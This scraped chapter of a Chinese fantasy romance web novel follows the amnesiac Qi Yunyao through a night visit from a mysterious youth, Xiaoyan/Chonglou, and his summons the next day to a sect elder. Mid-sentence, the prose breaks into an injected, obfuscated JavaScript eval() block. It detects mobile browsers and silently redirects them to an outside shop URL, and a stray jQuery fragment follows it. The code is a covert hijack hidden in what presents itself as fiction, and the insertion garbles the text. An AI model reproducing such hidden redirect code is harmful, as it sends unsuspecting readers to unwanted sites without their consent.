祁云耀敛了心神,将叶册悄悄塞回床榻缝隙。可当他试图深挖过往记忆,脑袋便会阵阵麻胀钝痛,仿佛有一股无形的力量,执意要将那些前尘彻底封存。
昏沉麻木之际,耳尖忽然一动。
窗棂处的月光微微一晃,紧跟着传来一声清脆的轻响,室内气流转瞬异样,不过一息功夫,便又恢复如常。
祁云耀却猛然转头紧盯窗口,那里空无一人,可他却十分笃定,有什么东西已经进来了。
惊疑涌上心头,他蹙眉环顾整间屋子,陈设依旧如常,可一股沉甸甸的压迫,已然牢牢笼罩周身。他下意识伸手往后探去,指尖却只触到一片空荡。
细碎的声响从头顶传来。祁云耀急忙抬眼,为时已晚——不知何时伏在屋顶的人影纵身跃下,转瞬便落至床前。
未及看清对方样貌,首先映入眼帘的,是一双澄澈透亮的眼眸,而后是他额间有些暗淡的金痣。
“你……”
话音刚起,一只手便骤然捂上他的嘴。
祁云耀被重重按回床榻,几番挣扎下来,反倒被对方彻底制住:双手被牢牢扣在胸前,双腿也被对方屈膝压住骑在身下,周身动弹不得。
他闷哼一声。
来人身形并不魁梧,反倒带着少年特有的清瘦纤细,手上力气却大得惊人。只要他稍作扭动,嘴上的禁锢便会收得更紧。
四目相对的刹那,祁云耀不由得一怔。
熟悉感铺天盖地袭来,两个名字不受控制地浮现在脑海里。
一个是小燕。
可紧随其后的另一个称呼,偏偏卡在记忆深处,任凭他竭力回想,始终模糊不清。
另一个名字——是谁?
方才轻响惊动了门外值守的侍从,几人轻叩门扇,跟着缓缓拉开纸门,低声唤道:
“公子?”
他浑身僵住,连呼吸都刻意放轻。
那人在门响的刹那,已然利落蜷身钻进被褥,二人紧紧相贴,密不透风。
唇上禁锢虽已松开,他却不敢出声,胸腔里的心疯狂擂动,并非惧于闯入者,反倒满心都是怕侍从被撞破的慌乱。
“公子?”
侍从又唤了一声,脚步声缓缓走近。
祁云耀额角沁出细密冷汗,只觉得自己震耳的心跳,在寂静夜色里无所遁形。
身边人似也听见了这剧烈的搏动,索性毫无顾忌地往深处缩了缩,毛茸茸的头顶抵在他心口,埋首细听,嗓音压得极低:“你心跳好快。”
祁云耀脑中轰然一响,心跳几近漏了一拍。
他满脸涨红地紧咬下唇,指尖飞快探入被中,死死按住对方的脑袋,逼得人贴紧自己胸口,断了他再开口的念头。
所幸侍从只迈步向内张望片刻,未见异样,便轻手轻脚退了出去,重新合上门。
终于极轻地长长吐出一口气,随即他猛地一把掀开被褥。
少年漆黑的碎发濡着薄汗粘在皮肤上,脸颊因靠着胸膛被挤出一团,上面浮现着一层浅淡绯色。
月色淌落在他脸上,一双乌亮眼眸水光潋滟,似染了醉意。唇形偏薄,唇角却微微上扬,漾出勾人的风情。
“你笑什么?”
祁云耀沉声发问,心底莫名生出被猛兽紧盯的压迫感。这双眼看似纯粹无辜,内里却毫无遮掩的,翻涌着浓烈又灼热的贪恋与渴求。
他心底陡然生出逃开的念头,可身子刚一动,双手就被牢牢扣住。
少年直起上身,整个人蹭上来,两掌死死按在他的手腕上。嗓音压得极低,却透着抑制不住的雀跃:“我今日学到了新的东西,心里很高兴。”
说着,他的目光落在祁云耀颈间缠着的厚厚纱布上,略一思索随即俯下身,侧脸轻轻在伤口处摩挲蹭动。
祁云耀被压得动弹不得,喉间溢出细碎的闷哼。
一股如同将要被彻底吞噬的恐惧席卷全身,心脏紧缩到极致,宛若堵在了喉间,脑中昏沉纷乱,浑身气血都仿佛逆流翻涌。
他声音发颤,急急哀求:“先别这样,你别这样!”
对方恍若未闻,脸颊贴着纱布一点点往下蹭。
“小燕!我不——”
话音戛然而止。
身上的人骤然抬首,面上笑意忽然垮下去,消失得无影无踪,眼底飞快掠过一丝森冷戾气。
清泠月光铺洒在他脸上,碎发凌乱地贴在颊侧,添了几分桀骜野性。而更让祁云耀心惊的是,方才一番亲昵厮磨,这人额间那枚醒目的金痣已然不见,只余下一块浅淡的金痕。
他双目圆睁,还未及出声,便听见对方开口。
“小燕?”
少年又一字一顿重复了一遍,语调凉了下来:“我是小燕?”
那双原本漾着柔波的眼眸里,翻涌着浓烈的怒意。
无边的恐惧,瞬间将祁云耀彻底裹挟。他霎时僵住,连挣扎都忘了,只是怔怔望着对方。嘴唇几番张合,终究还是没能吐出半个字。
压在他身上的人蹙起眉,极其僵硬地偏过头,眸光逐渐涣散,似坠入一片迷蒙混沌,一遍遍低声呓语:“我是小燕?”
祁云耀不安地吞咽了一下,试着挣动手腕。
对方已然失神,连钳制他的力道都松了大半。他趁机慢慢挪开些许,可对上那双茫然无措的眼眸,心口却莫名一沉,满是滞涩。
鬼使神差地,他抬手托住对方的脸颊,轻轻拂开贴在面上的碎发。
青年涣散的目光慢慢收拢,眼底盛满浓浓的困惑。顺势将脸颊蹭在温热的掌心,双手骤然收紧,牢牢环住这只手,眉峰拧起,眼神凄楚又茫然,细声追问:“我是小燕,那你是谁?”
这样的目光看得祁云耀心头阵阵钝痛,似是要窒息般的,他慌忙移开视线,语气磕磕绊绊:“我……我是木息。”
“啊!原来是这样。”
那人长长舒了口气,如释重负般,脸上的凝重尽数散去,眼底重又漾起笑意。他俯身舒展手臂,抱紧祁云耀,依偎在他怀里,两人一同倒回床榻。
“如果你是木息,那我便是小燕吧。”
祁云耀全然摸不透他反复变幻的心绪,正暗自思忖,又听见怀中人轻声说道:
“但你是云耀的时候,我是重楼。”
“云耀……重楼……”
祁云耀低声反复念着这两个名字,眉头紧锁,满心疑惑,“他们是谁?”
谢重楼支起身子,乌黑的眼睛一瞬不瞬看着他。
“你好认真啊!”
说着又伏下去,在他颈侧低笑,笑着笑着却陡然几声闷咳,一股浓重的血腥气瞬间冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596458|196908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上鼻腔。
“你怎么了?”祁云耀心头一紧,想要撑起身,却被对方轻轻按回榻上。
“我没事,只是太想你。”
谢重楼侧身依偎在他身侧,双臂环紧,脸颊贴着他颈间肌肤,温热的呼吸透过纱布漫开粘在脖颈,带来一阵酥麻的痒意。此刻祁云耀才后知后觉察觉,对方的体温远胜常人,相贴之处暖融融的,宛如贴身抱着一块温润暖玉。
“好困……”
耳畔的呼吸渐渐趋于平缓绵长,浓重的困意传染似的将祁云耀裹挟,意识一沉,跟着坠入沉睡。
待到次日天明醒来,身侧早已一片冰凉。心底顿时漫开空落落的怅然。侍从立在一旁,早已备好了梳洗用具。他缓缓坐起身,乌黑发丝顺着肩头滑落,脸颊微微发痒,抬手一探,竟从发间摸出一枚尾羽。羽身漆黑,流转着幽幽湛蓝光晕。
他愣了片刻,悄悄将尾羽收好。随后任由侍从伺候着梳洗更衣,一番打理完毕,便被引着登上了车辇。
车身一路轻晃,车帘被吹起,朝外望去,只见亭台楼阁依山排布,殿宇恢弘华美,气派不凡。
玉虚仙宗。
尽管记忆缺失,心中却莫名涌上这个名字。
“这是去哪?”
祁云耀掀开车帘出声,车旁立刻快步跟上一名身着深色常服的中年男人。他满脸赘肉堆叠,额间那颗小巧的金痣几乎被肥肉淹死。
“是长老传了话,特意唤公子过去一趟。”
中年男人咧嘴一笑,眼睛挤成细细一条缝隙,神态谄媚又透着几分粗鄙。祁云耀微微皱眉别过脸,生怕自己下意识做出失礼举动。
车帘缓缓落下,他却悄悄侧过头,借着余光细细打量帘外掠过的景致与动静。
自今早开始,屋内的气氛便彻底变了。昨日在外侍立等候的仆从尽数消失,换成了这中年男人带来的一批生人。
这群人行事粗鲁生硬,方才更衣时,衣领不慎勒住他受伤的脖颈,疼得他惊叫出声。
祁云耀垂落眼眸,眸光沉沉黯淡下去,脑海中骤然闪过零星细碎的记忆碎片。
记忆里似乎这并不是第一次受伤,还有一次受伤比此次更加严重。几乎全身都没法动弹,只能靠人帮他穿衣洗漱。
那人在记忆里是比这群人要更加毛燥莽撞,梳头的时候下手不知轻重,像是要将他全部头发都扯落似的;束衣的系带每日都松紧失度,从未有一次是妥帖的。
就算是这样笨拙,那个人待他也从没让他感到过难受窒息。
全然不像此刻,周身无时无刻不萦绕着压抑的痛楚,教他喘不过气。
祁云耀轻轻眨了眨眼,心底骤然浮现出那个不告而别的身影。
今晨苏醒之时,心底盛满了无边恐慌,一股莫名的窒息感死死盘踞胸腔,浓烈得像是身处黄泉陌路,从此两两不见。
直到他摸到了那截尾羽——
垂着眸,指尖轻轻微动,从层层繁复的常服内里,小心翼翼抽出一枚漆黑泛着清冷蓝光的尾羽。
细碎日光透过车帘缝隙洒落,落在羽毛之上,瞬间漾开流转的光泽,流光溢彩,华美得惊心动魄。
“小燕。”
祁云耀低声念出这个名字,指尖一遍又一遍,细细摩挲着冰凉的羽身。
“小燕。”